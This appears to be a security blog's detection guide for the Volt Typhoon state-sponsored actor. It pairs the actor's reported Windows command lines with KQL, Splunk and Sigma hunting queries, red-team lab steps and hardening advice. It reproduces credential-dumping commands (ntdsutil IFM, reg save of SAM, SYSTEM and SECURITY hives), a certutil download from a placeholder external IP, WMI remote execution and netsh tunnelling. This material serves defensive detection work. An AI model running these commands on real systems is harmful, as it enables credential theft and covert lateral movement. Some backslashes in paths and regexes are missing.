Volt Typhoon Threat Hunting in 2025: KQL, Splunk, and Sigma Detection Guide for Living-Off-the-Land APT

Every few months, a threat intelligence report lands that genuinely changes how I think about detection engineering. The May 2023 joint advisory on Volt Typhoon was one of those reports. Not because the techniques were novel — most of what Volt Typhoon does is textbook Windows administration — but because of how effectively those ordinary techniques translate into near-total detection evasion against standard enterprise security stacks. This post is my attempt to build a practical hunting guide from the ground up: the specific commands Volt Typhoon uses, the exact queries that surface them, and how to tune out the noise that would otherwise bury real alerts.

Actor Background and Strategic Intent

Volt Typhoon (also tracked as Bronze Silhouette, Vanguard Panda, and DEV-0391 across different vendor taxonomies) is a Chinese state-sponsored threat actor attributed by Microsoft, the NSA, CISA, and the Five Eyes intelligence alliance. Unlike financially motivated groups that deploy ransomware for quick monetisation, Volt Typhoon’s objective is persistence inside critical infrastructure networks for long-term intelligence collection and pre-positioning for potential disruptive operations in a future conflict scenario.

The sectors it targets read like a list of wartime chokepoints: communications, electric utilities, water and wastewater systems, transportation hubs, and military logistics facilities. In 2023, significant activity was documented in Guam — a US territory that hosts major military communications infrastructure. The implication, spelled out explicitly in government advisories, is that this pre-positioning enables Volt Typhoon to disrupt critical services during a potential conflict in the Pacific.

Dwell times have been reported at between one and five years in some victim networks, which tells you something important about how they operate: this is not smash-and-grab. These operators move slowly, deliberately, and rarely.

Living-Off-the-Land: Why It Works and Why Detection Is Hard

The core operational principle behind Volt Typhoon is living-off-the-land (LOTL): using Windows-native binaries, built-in protocols, and legitimate administrative tools to accomplish every stage of the attack lifecycle. There is no custom malware dropper, no novel implant, no unique file on disk that a signature can catch. Every tool they use is already present in every Windows installation.

Think about what this means for your detection stack. A traditional SIEM relying on antivirus or hash-based detection sees nothing. An EDR that flags known malicious files sees nothing. Even a next-gen product tuned to detect unusual process relationships needs careful configuration to catch activity that looks like an administrator doing their job.

The key insight for detection is this: the tools are legitimate, but the context is not. Certutil downloading a file from an external IP is unusual. Ntdsutil creating an IFM snapshot outside of a domain controller provisioning window is a four-alarm event. WMI executing processes on 30 remote hosts from a workstation that has never done WMI before is lateral movement. The behavior is the detection surface, not the binary.

The KV-Botnet: Volt Typhoon’s Proxy Infrastructure

Before getting into host-based detection, one piece of infrastructure context matters a great deal. Law enforcement disrupted the KV-Botnet in January 2024 — a network of compromised small/home office (SOHO) routers that Volt Typhoon used as the final hop in its proxy chain to blend C2 traffic with legitimate internet traffic originating from US IP space.

Compromised devices in the KV-Botnet included Cisco RV320/325 series, DrayTek Vigor routers, Netgear ProSAFE devices, and Asus routers — all running outdated firmware with known CVEs. The significance for defenders: Volt Typhoon’s traffic appears to originate from US residential and small business IP ranges, bypassing geo-based firewall blocks entirely. Network-layer detection relying on country-of-origin filtering would have missed all of it.

Documented LOTL Tool Usage with Exact Command-Line Strings

The CISA advisory AA23-144A and the Microsoft Threat Intelligence blog provide specific command examples observed across multiple victim environments. These are the strings to hunt for.

Certutil File Download and Decode

Certutil is a legitimate Windows certificate management utility. Volt Typhoon uses it for file staging and Base64 decode operations, bypassing the need to bring external download utilities:

certutil -urlcache -split -f http://[ip]/[file] [output]
certutil -decode [base64_input_file] [decoded_output]
certutil -decodehex [hex_file] [binary_output]

Netsh Port Proxy Tunneling

Rather than deploying a custom tunneling tool, Volt Typhoon uses the built-in netsh interface portproxy functionality to create persistent port-forwarding rules that survive reboots. These rules redirect connections between network segments, enabling pivoting without touching the disk with a tunneling binary:

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=50100 connectaddress=[internal_ip] connectport=3389
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=50100

WMI Remote Process Execution

Windows Management Instrumentation provides a built-in remote command execution channel. Volt Typhoon uses it for lateral movement without touching SMB or PsExec — both of which are more heavily monitored:

wmic /node:[target_ip] process call create "cmd.exe /c [command]"
wmic /node:[target_ip] /user:[domainuser] /password:[pass] process call create "cmd.exe /c whoami > C:WindowsTempout.txt"

NTDS.dit Extraction via Ntdsutil IFM

To dump Active Directory credentials including all domain password hashes, Volt Typhoon uses the built-in ntdsutil utility with the Install From Media (IFM) option. This creates a complete copy of the NTDS.dit database and the SYSTEM registry hive needed to decrypt it:

ntdsutil "activate instance ntds" ifm "create full C:WindowsTempifm_snapshot" quit quit

There is essentially no legitimate reason for this command to run on a production domain controller outside of a scheduled DR exercise. Any detection of this command should be treated as confirmed credential theft.

Domain and Network Reconnaissance

nltest /domain_trusts
nltest /dclist:[domain_name]
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
arp -a
ipconfig /all
nslookup -type=all _ldap._tcp.dc._msdcs.[domain]

Registry Credential Harvesting

reg save HKLMSAM C:WindowsTempsam.hive
reg save HKLMSYSTEM C:WindowsTempsystem.hive
reg save HKLMSECURITY C:WindowsTempsecurity.hive

MITRE ATT&CK Mapping

Threat Hunting Queries

Microsoft Sentinel (KQL)

The following queries target DeviceProcessEvents from Microsoft Defender for Endpoint connected via the MDE-to-Sentinel connector. Adjust the table name to SecurityEvent with EventID == 4688 if you are working from Windows Security audit logs.

Query 1: Certutil Living-Off-the-Land Abuse

DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any (
    "urlcache", "-split", "-f http", "-f ftp",
    "-decode", "-decodehex", "verifyctl"
)
| where not(InitiatingProcessFileName has_any (
    "msiexec.exe", "svchost.exe", "wuauclt.exe", "trustedinstaller.exe"
))
| project TimeGenerated, DeviceName, AccountName,
          ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine
| order by TimeGenerated desc

Query 2: Netsh PortProxy Tunnel Creation (High Fidelity)

DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where FileName =~ "netsh.exe"
| where ProcessCommandLine has "portproxy"
| where ProcessCommandLine has_any ("add", "v4tov4", "v6tov4", "v4tov6")
| extend ListenPort = extract(@"listenport=(d+)", 1, ProcessCommandLine)
| extend ConnectAddress = extract(@"connectaddress=([^s]+)", 1, ProcessCommandLine)
| extend ConnectPort = extract(@"connectport=(d+)", 1, ProcessCommandLine)
| project TimeGenerated, DeviceName, AccountName,
          ListenPort, ConnectAddress, ConnectPort,
          ProcessCommandLine, InitiatingProcessFileName
| order by TimeGenerated desc

Query 3: NTDS.dit Extraction (Critical Severity, Near-Zero False Positives)

DeviceProcessEvents
| where TimeGenerated > ago(90d)
| where FileName =~ "ntdsutil.exe"
| where ProcessCommandLine has_any (
    "ifm", "create full", "activate instance ntds",
    "create sysvol full", "create rodc full"
)
| project TimeGenerated, DeviceName, AccountName,
          ProcessCommandLine, InitiatingProcessFileName
| extend Severity = "CRITICAL"
| extend Description = "NTDS.dit credential extraction via ntdsutil IFM"
| order by TimeGenerated desc

Query 4: WMI Remote Process Execution Lateral Movement

DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "wmic.exe"
| where ProcessCommandLine has "process"
| where ProcessCommandLine has "create"
| where ProcessCommandLine has "/node:"
| extend TargetHost = extract(@"/node:([^s]+)", 1, ProcessCommandLine)
| extend RemoteCommand = extract(@"creates+"([^"]+)"", 1, ProcessCommandLine)
| project TimeGenerated, DeviceName, AccountName,
          TargetHost, RemoteCommand, ProcessCommandLine
| where not(AccountName in~ ("system", "network service", "local service"))
| order by TimeGenerated desc

Query 5: Registry Hive Export for Credential Dumping

DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "reg.exe"
| where ProcessCommandLine matches regex @"(?i)saves+hklm\(sam|system|security)(s|$)"
| project TimeGenerated, DeviceName, AccountName,
          ProcessCommandLine, InitiatingProcessFileName
| extend Severity = "CRITICAL"
| extend Description = "Registry hive export for offline credential extraction"

Query 6: Domain Controller Reconnaissance via nltest

DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "nltest.exe"
| where ProcessCommandLine has_any (
    "domain_trusts", "dclist", "dsgetdc",
    "server_info", "parentdomain"
)
| project TimeGenerated, DeviceName, AccountName,
          ProcessCommandLine, InitiatingProcessFileName
| summarize CommandCount = count(),
            Commands = make_set(ProcessCommandLine)
    by DeviceName, AccountName, bin(TimeGenerated, 1h)
| where CommandCount > 2
| order by TimeGenerated desc

Query 7: Stacked Anomaly (Multiple LOTL Tools from Same Host)

This query looks for any single host executing three or more Volt Typhoon LOTL binaries within a one-hour window, which strongly indicates an active intrusion rather than legitimate administration:

let VoltTyphoonBins = dynamic([
    "certutil.exe", "netsh.exe", "wmic.exe", "nltest.exe",
    "ntdsutil.exe", "reg.exe", "net.exe", "powershell.exe"
]);
DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where FileName in~ (VoltTyphoonBins)
| summarize
    UniqueBinaries = dcount(FileName),
    BinaryList = make_set(FileName),
    CommandLines = make_set(ProcessCommandLine)
    by DeviceName, AccountName, bin(TimeGenerated, 1h)
| where UniqueBinaries >= 3
| order by UniqueBinaries desc, TimeGenerated desc

Splunk SPL (Sysmon EventCode 1)

These queries assume Sysmon is deployed and forwarding to an index named sysmon. Adjust the index and sourcetype for your environment.

Certutil Abuse

index=sysmon EventCode=1 Image="*\certutil.exe"
(CommandLine="*urlcache*" OR CommandLine="*-decode*" OR CommandLine="*-split*")
NOT ParentImage IN ("*\msiexec.exe", "*\svchost.exe", "*\wuauclt.exe")
| eval risk=case(
    match(CommandLine,"urlcache.*-f"), "CRITICAL",
    match(CommandLine,"-decode"), "HIGH",
    1==1, "MEDIUM")
| table _time, host, user, CommandLine, ParentImage, risk
| sort -_time

Netsh PortProxy

index=sysmon EventCode=1 Image="*\netsh.exe"
CommandLine="*portproxy*" (CommandLine="*add*" OR CommandLine="*v4tov4*")
| rex field=CommandLine "listenport=(?<listen_port>d+)"
| rex field=CommandLine "connectaddress=(?<connect_addr>[^s]+)"
| rex field=CommandLine "connectport=(?<connect_port>d+)"
| table _time, host, user, listen_port, connect_addr, connect_port, CommandLine

NTDS.dit via ntdsutil IFM

index=sysmon EventCode=1 Image="*\ntdsutil.exe"
(CommandLine="*ifm*" OR CommandLine="*create full*" OR CommandLine="*activate instance ntds*")
| eval severity="CRITICAL", alert="NTDS.dit extraction via ntdsutil IFM"
| table _time, host, user, CommandLine, ParentImage, severity, alert

WMI Lateral Movement

index=sysmon EventCode=1 Image="*\wmic.exe"
CommandLine="*process call create*" CommandLine="*/node:*"
| rex field=CommandLine "/node:(?<target_host>[^s]+)"
| rex field=CommandLine "creates+"(?<remote_cmd>[^"]+)""
| table _time, host, user, target_host, remote_cmd, CommandLine

SAM/SYSTEM Hive Export

index=sysmon EventCode=1 Image="*\reg.exe"
(CommandLine="*save*HKLM\SAM*" OR
 CommandLine="*save*HKLM\SYSTEM*" OR
 CommandLine="*save*HKLM\SECURITY*")
| eval alert="CRITICAL: Offline credential extraction via registry hive export"
| table _time, host, user, CommandLine, ParentImage, alert

Sigma Rules

All three rules below are ready to import into your Sigma toolchain and convert to your SIEM’s native query format via the official SigmaHQ repository. Rule IDs are unique and can be added to your SIEM’s detection catalogue directly.

title: Volt Typhoon LOTL - Netsh PortProxy Tunnel Creation
id: a5dc9591-8c34-4b23-8e16-3c7c4e8ef22f
status: stable
description: >
  Detects netsh.exe portproxy configuration used by Volt Typhoon to create
  persistent network tunnels for lateral movement and C2 pivoting.
references:
  - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
  - https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/
author: vivekverma.in
date: 2024/06/01
modified: 2025/07/28
tags:
  - attack.lateral_movement
  - attack.command_and_control
  - attack.t1090.001
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: 'netsh.exe'
    CommandLine|contains|all:
      - 'portproxy'
      - 'add'
  condition: selection
falsepositives:
  - Legitimate sysadmin portproxy configuration (very rare in most environments)
level: high

---

title: Volt Typhoon LOTL - NTDS.dit Extraction via ntdsutil IFM
id: b7d12e3f-4c4a-4b9e-8a2f-1d3c5e7f9b11
status: stable
description: >
  Detects ntdsutil IFM usage which extracts a complete copy of Active Directory
  including all password hashes. Used by Volt Typhoon for domain credential theft.
  Near-zero false positive rate outside of sanctioned DR exercises.
references:
  - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
  - https://attack.mitre.org/techniques/T1003/003/
author: vivekverma.in
date: 2024/06/01
modified: 2025/07/28
tags:
  - attack.credential_access
  - attack.t1003.003
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: 'ntdsutil.exe'
  selection_cmd:
    CommandLine|contains:
      - 'ifm'
      - 'create full'
      - 'activate instance ntds'
  condition: selection_img and selection_cmd
falsepositives:
  - Install-from-Media DC provisioning (document and baseline separately)
level: critical

---

title: Volt Typhoon LOTL - Registry Hive Export for Credential Dumping
id: c9e23a4b-1f5d-4c6e-9b3f-2e4d6f8a0c2e
status: stable
description: >
  Detects reg.exe exporting SAM, SYSTEM, or SECURITY hives to disk, used
  for offline credential extraction. Common in Volt Typhoon operations
  and numerous ransomware campaigns.
references:
  - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
  - https://attack.mitre.org/techniques/T1003/002/
author: vivekverma.in
date: 2024/06/01
modified: 2025/07/28
tags:
  - attack.credential_access
  - attack.t1003.002
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: 'reg.exe'
    CommandLine|contains: 'save'
  filter_hives:
    CommandLine|contains:
      - 'HKLMSAM'
      - 'HKLMSYSTEM'
      - 'HKLMSECURITY'
      - 'hklmsam'
      - 'hklmsystem'
      - 'hklmsecurity'
  condition: selection and filter_hives
falsepositives:
  - Sanctioned backup scripts that export specific registry paths
level: high

Network-Based Detection

Host-based detection is only one half of the picture. Volt Typhoon’s use of the KV-Botnet means that C2 traffic blends with legitimate US-origin internet traffic, making IP reputation largely useless. Instead, focus on behavioral network anomalies:

• Unusual outbound HTTPS from domain controllers or critical infrastructure hosts: Domain controllers rarely need to establish outbound HTTPS connections. Any sustained HTTPS session from a DC to an external IP should be investigated immediately.
• Port proxy traffic patterns: After netsh portproxy is configured, look for connections to the configured listen ports from hosts that do not normally communicate with the compromised system. Zeek or Suricata connection logs capturing internal lateral movement are particularly useful here.
• Netflow anomalies from SOHO devices: If your environment monitors edge routers and SOHO devices, look for periodic small-packet HTTPS connections to a consistent set of external IPs — characteristic of C2 beaconing through a proxy chain.
• DNS queries with minimal TTL or unusual NXDOMAIN patterns: Domain generation algorithms and fast-flux C2 infrastructure produce characteristic DNS patterns distinct from stable legitimate services.

Red Team Notes: Simulating Volt Typhoon TTPs

For red team operators looking to assess whether blue team detection actually covers these techniques, the following exercises replicate the documented LOTL chain in an isolated lab environment:

1. Enable process creation audit logging (auditpol /set /subcategory:"Process Creation" /success:enable) and deploy Sysmon with a standard config before starting.
2. Run certutil -urlcache -split -f http://[internal_test_server]/test.txt test.txt and verify your SIEM/EDR alerts.
3. Configure a test portproxy: netsh interface portproxy add v4tov4 listenport=51001 listenaddress=0.0.0.0 connectaddress=127.0.0.1 connectport=80 — check that your Sigma rule fires and clean up afterward with netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=51001.
4. On a test domain controller with no production data, run ntdsutil IFM against a test AD instance and verify both the EDR alert and the SIEM correlation rule trigger before the extraction completes.

Atomic Red Team from Red Canary has ready-to-run tests for most of these TTPs (github.com/redcanaryco/atomic-red-team). The relevant atomics are T1003.003, T1090.001, and T1105 for the highest-value Volt Typhoon-specific scenarios.

Hardening Priorities

Detection alone is not sufficient against an actor with a multi-year dwell time target. The following controls directly reduce Volt Typhoon’s attack surface:

• Patch network devices: Volt Typhoon gains initial access through vulnerabilities in internet-facing VPN appliances and routers. Maintaining current firmware on Fortinet, Ivanti, and Cisco devices is the single highest-leverage defensive action. See the related analysis of CVE-2025-0282 Ivanti exploitation for the active threat context.
• Restrict WMI remote access: Windows Firewall rules can block inbound WMI traffic (TCP 135 + dynamic ports) from workstation subnets. Domain controllers should not be WMI targets from general-purpose endpoints.
• Implement Just-in-Time (JIT) privileged access: Volt Typhoon relies on compromised privileged accounts. JIT access policies in Microsoft Entra ID PIM or equivalent solutions limit the window in which a stolen credential is usable.
• Replace SOHO routers at network perimeter: Remove any small-business or home-grade routers from critical network boundaries. These devices are primary KV-Botnet recruitment targets.
• Credential Guard: Enable Windows Defender Credential Guard on all workstations and member servers to prevent LSASS memory dumping even when the attacker has SYSTEM-level access.

The CISA advisory AA23-144A contains the full list of recommended mitigations with registry paths and policy settings. The Microsoft Threat Intelligence blog post from May 2023 remains the most detailed public technical breakdown of the observed intrusion chain.

For network device vulnerability context directly relevant to Volt Typhoon’s initial access methods, the detailed technical breakdown of CVE-2024-3400 Palo Alto GlobalProtect exploitation covers the same category of perimeter device attack.

Sources and further reading: CISA Advisory AA23-144A | Microsoft Threat Intelligence | CISA KV-Botnet Advisory AA24-038A | MITRE ATT&CK Volt Typhoon Profile